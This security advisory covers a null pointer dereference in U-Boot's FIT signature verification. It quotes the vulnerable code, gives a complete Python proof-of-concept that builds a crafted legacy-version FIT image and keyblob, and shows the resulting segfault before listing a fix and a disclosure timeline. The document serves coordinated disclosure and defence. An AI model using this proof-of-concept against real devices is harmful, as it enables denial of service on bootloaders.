Denial of service in U-Boot during FIT image signature verification because of null pointer dereference in `fdt_find_regions`
BINARLY REsearch team has discovered a null pointer dereference vulnerability in U-Boot during the FIT image signature verification process, allowing a potential attacker to cause a denial of service.
Image preview
Potential Impact
An attacker can exploit this vulnerability to cause a denial of service (DoS) of the device running the U-Boot bootloader.
Image preview
Vulnerability Information
- BINARLY internal vulnerability identifier: BRLY-2026-040
- BINARLY calculated CVSS v3.1: 4.6 Medium AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Image preview
Affected U-Boot versions
U-Boot v2026.04: https://github.com/u-boot/u-boot/archive/refs/tags/v2026.04.tar.gz.
NOTE: The vulnerability was also confirmed to be present in the latest U-Boot commit on the master branch at the time of reporting (https://github.com/u-boot/u-boot/tree/38dbe637c9dfcadbd1bc201bfbb27f96b2ad525a).
Image preview
Vulnerability description
The fdt_find_regions function in boot/fdt_region.c walks the FDT structure block one tag at a time, building the list of regions to feed into the signature hash. When it sees an FDT_PROP tag it reads the property header to retrieve the property name:
case FDT_PROP:
include = want >= 2;
stop_at = offset;
prop = fdt_get_property_by_offset(fdt, offset, NULL);
str = fdt_string(fdt, fdt32_to_cpu(prop->nameoff));
fdt_get_property_by_offset in scripts/dtc/libfdt/fdt_ro.c explicitly returns NULL for any FDT with fdt_version < 0x10:
const struct fdt_property *fdt_get_property_by_offset(const void *fdt,
int offset,
int *lenp)
{
/* Prior to version 16, properties may need realignment
* and this API does not work. fdt_getprop_*() will, however. */
if (!can_assume(LATEST) && fdt_version(fdt) < 0x10) {
if (lenp)
*lenp = -FDT_ERR_BADVERSION;
return NULL;
}
return fdt_get_property_by_offset_(fdt, offset, lenp);
}
A FIT image with a version less than 0x10 causes prop to be NULL on the very first FDT_PROP tag the iterator reaches. The next line dereferences prop->nameoff, which leads to a null pointer dereference on platforms where the zero page is not mapped.
Image preview
Steps for exploitation
Build U-Boot with sandbox configuration:
make sandbox_defconfig
make -j"$(nproc)" KCFLAGS=-fcommon
Use the following script to generate a PoC FIT image and a minimal keyblob DTB to trigger the vulnerability. The FIT declares fdt_version = 15 and contains the bare-minimum nodes and properties required for the verifier to reach fdt_find_regions function:
#!/usr/bin/env python3
import io
import os
import struct
import sys
FDT_MAGIC = 0xD00DFEED
FDT_VERSION = 15 # legacy v<16 path - triggers the bug
FDT_COMP_VERS = 2
FDT_BEGIN_NODE = 1
FDT_END_NODE = 2
FDT_PROP = 3
FDT_END = 9
HDR_SIZE = 40
RSV_SIZE = 16
def be32(x):
return struct.pack(">I", x & 0xFFFFFFFF)
def pad4(n):
return (n + 3) & ~3
class StringTable:
def __init__(self):
self.buf = bytearray()
self.idx = {}
def add(self, s):
if s in self.idx:
return self.idx[s]
off = len(self.buf)
self.idx[s] = off
self.buf.extend(s.encode("ascii") + b"\x00")
return off
def bytes(self):
return bytes(self.buf)
def begin(out, name):
out.write(be32(FDT_BEGIN_NODE))
b = name.encode("ascii") + b"\x00"
out.write(b + b"\x00" * (pad4(len(b)) - len(b)))
def end(out):
out.write(be32(FDT_END_NODE))
def prop(out, st, name, value):
out.write(be32(FDT_PROP))
out.write(be32(len(value)))
out.write(be32(st.add(name)))
out.write(value + b"\x00" * (pad4(len(value)) - len(value)))
def build(path):
st = StringTable()
body = io.BytesIO()
begin(body, "/")
begin(body, "/images")
begin(body, "/images/k")
begin(body, "/images/k/hash")
end(body)
end(body)
end(body)
begin(body, "/configurations")
prop(body, st, "default", b"c\x00")
begin(body, "/configurations/c")
prop(body, st, "kernel", b"k\x00")
begin(body, "/configurations/c/signature-1")
prop(body, st, "algo", b"sha1,rsa2048\x00")
prop(body, st, "value", b"\x00" * 256)
end(body)
end(body)
end(body)
end(body)
body.write(be32(FDT_END))
struct_bytes = body.getvalue()
strings_bytes = st.bytes()
off_mem_rsvmap = HDR_SIZE
off_dt_struct = HDR_SIZE + RSV_SIZE
off_dt_strings = off_dt_struct + len(struct_bytes)
totalsize = off_dt_strings + len(strings_bytes)
header = b"".join([
be32(FDT_MAGIC),
be32(totalsize),
be32(off_dt_struct),
be32(off_dt_strings),
be32(off_mem_rsvmap),
be32(FDT_VERSION),
be32(FDT_COMP_VERS),
be32(0),
be32(len(strings_bytes)),
be32(len(struct_bytes)),
])
with open(path, "wb") as f:
f.write(header)
f.write(b"\x00" * RSV_SIZE)
f.write(struct_bytes)
f.write(strings_bytes)
def build_keyblob(path):
st = StringTable()
body = io.BytesIO()
begin(body, "")
begin(body, "binman")
end(body)
begin(body, "signature")
begin(body, "key-prod")
prop(body, st, "required", b"conf\x00")
prop(body, st, "algo", b"sha1,rsa2048\x00")
end(body)
end(body)
end(body)
body.write(be32(FDT_END))
struct_bytes = body.getvalue()
strings_bytes = st.bytes()
off_dt_struct = HDR_SIZE + RSV_SIZE
off_dt_strings = off_dt_struct + len(struct_bytes)
totalsize = off_dt_strings + len(strings_bytes)
header = b"".join([
be32(FDT_MAGIC),
be32(totalsize),
be32(off_dt_struct),
be32(off_dt_strings),
be32(HDR_SIZE),
be32(17),
be32(16),
be32(0),
be32(len(strings_bytes)),
be32(len(struct_bytes)),
])
with open(path, "wb") as f:
f.write(header)
f.write(b"\x00" * RSV_SIZE)
f.write(struct_bytes)
f.write(strings_bytes)
if __name__ == "__main__":
fit = sys.argv[1] if len(sys.argv) > 1 else "poc.fit"
key = sys.argv[2] if len(sys.argv) > 2 else "keyblob.dtb"
build(fit)
build_keyblob(key)
We can now confirm that U-Boot crashes when the crafted FIT image signature is verified:
./u-boot -d keyblob.dtb -c 'host load hostfs - 100 poc.fit; fdt addr 100; fdt checksign'
Bloblist at 100 not found (err=-2)
U-Boot 2026.04 (May 14 2026 - 12:58:02 +0100)
DRAM: 256 MiB
Core: 29 devices, 15 uclasses, devicetree: board, universal payload active
NAND: 0 MiB
MMC:
Loading Environment from nowhere... OK
Warning: device tree node '/config/environment' not found
In: serial,cros-ec-keyb,usbkbd
Out: serial,vidconsole
Err: serial,vidconsole
Net: eth_initialize() No ethernet found.
578 bytes read in 0 ms
Working FDT set to 100
sha1,rsa2048:<NULL>zsh: segmentation fault ./u-boot -d keyblob.dtb -c
Image preview
How to fix it
Check that the pointer returned by fdt_get_property_by_offset is not NULL before using it.
Note: there are more cases where the result of fdt_get_property_by_offset is used without any checks following the same pattern, but only the one described in this advisory is reachable during the FIT image signature verification process. However, it is recommended to fix all of them.
Image preview
Disclosure timeline
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
| Disclosure Activity | Date (YYYY-mm-dd) |
|---|---|
U-Boot maintainers are notified | 2026-05-20 |
U-Boot maintainers merged the fix patch | 2026-06-12 |
BINARLY public disclosure date | 2026-07-01 |
Image preview
Acknowledgements
Image preview
See if you are impacted now with our Firmware Vulnerability Scanner
Find Vulnerabilities, Generate SBOMs & CBOMs